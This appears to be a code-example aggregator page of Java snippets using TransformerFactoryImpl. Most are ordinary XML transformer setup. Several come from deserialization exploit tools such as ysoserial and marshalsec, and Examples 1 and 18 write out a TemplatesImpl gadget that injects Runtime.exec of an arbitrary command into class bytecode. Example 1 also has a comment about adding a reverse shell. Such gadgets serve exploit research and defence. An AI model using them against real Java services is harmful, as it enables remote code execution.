com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl Java Examples

The following examples show how to use com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: Gadgets.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
	final TemplatesImpl templates = new TemplatesImpl();

	// use template gadget class
	ClassPool pool = ClassPool.getDefault();
	pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
	final CtClass clazz = pool.get(StubTransletPayload.class.getName());
	// run command in static initializer
	// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
	clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
	// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
	clazz.setName("ysoserial.Pwner" + System.nanoTime());

	final byte[] classBytes = clazz.toBytecode();

	// inject class bytes into instance
	Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
		classBytes,
		ClassFiles.classAsBytes(Foo.class)});

	// required to make TemplatesImpl happy
	Reflections.setFieldValue(templates, "_name", "Pwnr");
	Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
	return templates;
}
 
Example #2
Source File: MetaMapConceptProvider.java    From bioasq with Apache License 2.0 6 votes vote down vote up
@Override
public boolean initialize(ResourceSpecifier aSpecifier, Map<String, Object> aAdditionalParams)
        throws ResourceInitializationException {
  boolean ret = super.initialize(aSpecifier, aAdditionalParams);
  String version = String.class.cast(getParameterValue("version"));
  String username = String.class.cast(getParameterValue("username"));
  String password = String.class.cast(getParameterValue("password"));
  String email = String.class.cast(getParameterValue("email"));
  conf = createConf(version, username, password, email, false, 0);
  xmlInputFactory = XMLInputFactory.newFactory();
  try {
    transformer = new TransformerFactoryImpl().newTransformer();
    transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
    transformer.setOutputProperty(OutputKeys.INDENT, "no");
    unmarshaller = JAXBContext.newInstance(MetaMapObject.class).createUnmarshaller();
  } catch (TransformerConfigurationException | JAXBException e) {
    throw new ResourceInitializationException();
  }
  return ret;
}
 
Example #3
Source File: JdkXmlUtils.java    From Bytecoder with Apache License 2.0 5 votes vote down vote up
public static SAXTransformerFactory getSAXTransformFactory(boolean overrideDefaultParser) {
    SAXTransformerFactory tf = overrideDefaultParser
            ? (SAXTransformerFactory) SAXTransformerFactory.newInstance()
            : (SAXTransformerFactory) new TransformerFactoryImpl();
    try {
        tf.setFeature(OVERRIDE_PARSER, overrideDefaultParser);
    } catch (TransformerConfigurationException ex) {
        // ignore since it'd never happen with the JDK impl.
    }
    return tf;
}
 
Example #4
Source File: Gadgets.java    From ysoserial with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #5
Source File: TemplatesUtil.java    From JavaSCR with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl(final String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, IOException, CannotCompileException, NotFoundException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {
  if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) {
    return createTemplatesImpl(
        args,
        Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
        Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
        Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
  }

  return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #6
Source File: MetaMapConceptProvider.java    From bioasq with Apache License 2.0 5 votes vote down vote up
MetaMapConceptProvider(String version, String username, String password, String email,
        boolean silentOnError, int priority) throws ResourceInitializationException {
  conf = createConf(version, username, password, email, silentOnError, priority);
  xmlInputFactory = XMLInputFactory.newFactory();
  try {
    transformer = new TransformerFactoryImpl().newTransformer();
    transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
    transformer.setOutputProperty(OutputKeys.INDENT, "no");
    unmarshaller = JAXBContext.newInstance(MetaMapObject.class).createUnmarshaller();
  } catch (TransformerConfigurationException | JAXBException e) {
    throw new ResourceInitializationException();
  }
}
 
Example #7
Source File: TemplatesUtil.java    From marshalsec with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String[] args ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("upstreamXalan", "false")) ) {
        return createTemplatesImpl(
            args,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #8
Source File: Gadgets.java    From ysoserial-modified with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String[] command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #9
Source File: JdkXmlUtils.java    From TencentKona-8 with GNU General Public License v2.0 5 votes vote down vote up
public static SAXTransformerFactory getSAXTransformFactory(boolean overrideDefaultParser) {
    SAXTransformerFactory tf = overrideDefaultParser
            ? (SAXTransformerFactory) SAXTransformerFactory.newInstance()
            : (SAXTransformerFactory) new TransformerFactoryImpl();
    try {
        tf.setFeature(OVERRIDE_PARSER, overrideDefaultParser);
    } catch (TransformerConfigurationException ex) {
        // ignore since it'd never happen with the JDK impl.
    }
    return tf;
}
 
Example #10
Source File: JdkXmlUtils.java    From openjdk-jdk8u-backup with GNU General Public License v2.0 5 votes vote down vote up
public static SAXTransformerFactory getSAXTransformFactory(boolean overrideDefaultParser) {
    SAXTransformerFactory tf = overrideDefaultParser
            ? (SAXTransformerFactory) SAXTransformerFactory.newInstance()
            : (SAXTransformerFactory) new TransformerFactoryImpl();
    try {
        tf.setFeature(OVERRIDE_PARSER, overrideDefaultParser);
    } catch (TransformerConfigurationException ex) {
        // ignore since it'd never happen with the JDK impl.
    }
    return tf;
}
 
Example #11
Source File: JdkXmlUtils.java    From openjdk-jdk8u with GNU General Public License v2.0 5 votes vote down vote up
public static SAXTransformerFactory getSAXTransformFactory(boolean overrideDefaultParser) {
    SAXTransformerFactory tf = overrideDefaultParser
            ? (SAXTransformerFactory) SAXTransformerFactory.newInstance()
            : (SAXTransformerFactory) new TransformerFactoryImpl();
    try {
        tf.setFeature(OVERRIDE_PARSER, overrideDefaultParser);
    } catch (TransformerConfigurationException ex) {
        // ignore since it'd never happen with the JDK impl.
    }
    return tf;
}
 
Example #12
Source File: TemplatesUtil.java    From learnjavabug with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String command ) throws Exception {
  if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
    return createTemplatesImpl(
        command,
        Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
        Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
        Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
  }

  return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #13
Source File: Gadgets.java    From learnjavabug with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl (final Class c, String... command) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(c,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"), command);
    }

    return createTemplatesImpl(c, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, command);
}
 
Example #14
Source File: Gadgets.java    From learnjavabug with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #15
Source File: TemplatesUtil.java    From learnjavabug with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String[] args ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("upstreamXalan", "false")) ) {
        return createTemplatesImpl(
            args,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #16
Source File: Gadgets.java    From learnjavabug with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #17
Source File: Gadgets.java    From learnjavabug with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #18
Source File: exp.java    From Java-Unserialization-Study with MIT License 4 votes vote down vote up
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
    final TemplatesImpl templates = new TemplatesImpl();

    // use template gadget class

    // 获取容器ClassPool,注入classpath
    ClassPool pool = ClassPool.getDefault();
    System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class));
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));

    // 获取已经编译好的类
    System.out.println("ClassName: " + StubTransletPayload.class.getName());
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());

    // 在静态的的构造方法中插入payload
    clazz.makeClassInitializer()
            .insertAfter("java.lang.Runtime.getRuntime().exec(\""
                    + command.replaceAll("\"", "\\\"")
                    + "\");");

    // 给payload类设置一个名称
    // unique name to allow repeated execution (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());

    // 获取该类的字节码
    final byte[] classBytes = clazz.toBytecode();

    // inject class bytes into instance
    Reflections.setFieldValue(
            templates,
            "_bytecodes",
            new byte[][] {
                    classBytes,
                    ClassFiles.classAsBytes(Foo.class)
            });

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

    // 只要触发这个方法就能执行我们注入的bytecodes
    // templates.getOutputProperties();
    return templates;
}
 
Example #19
Source File: Gadgets.java    From JavaSCR with MIT License 4 votes vote down vote up
public static Object createTemplatesImpl(final String command)
    throws IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException,
    IOException, ClassNotFoundException, NoSuchFieldException {
  return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #20
Source File: TransformerFactory.java    From Bytecoder with Apache License 2.0 2 votes vote down vote up
/**
 * Creates a new instance of the {@code TransformerFactory} builtin
 * system-default implementation.
 *
 * @return A new instance of the {@code TransformerFactory} builtin
 *         system-default implementation.
 *
 * @since 9
 */
public static TransformerFactory newDefaultInstance() {
    return new TransformerFactoryImpl();
}
 
Example #21
Source File: TransformerFactory.java    From openjdk-jdk9 with GNU General Public License v2.0 2 votes vote down vote up
/**
 * Creates a new instance of the {@code TransformerFactory} builtin
 * system-default implementation.
 *
 * @return A new instance of the {@code TransformerFactory} builtin
 *         system-default implementation.
 *
 * @since 9
 */
public static TransformerFactory newDefaultInstance() {
    return TransformerFactoryImpl.newTransformerFactoryNoServiceLoader();
}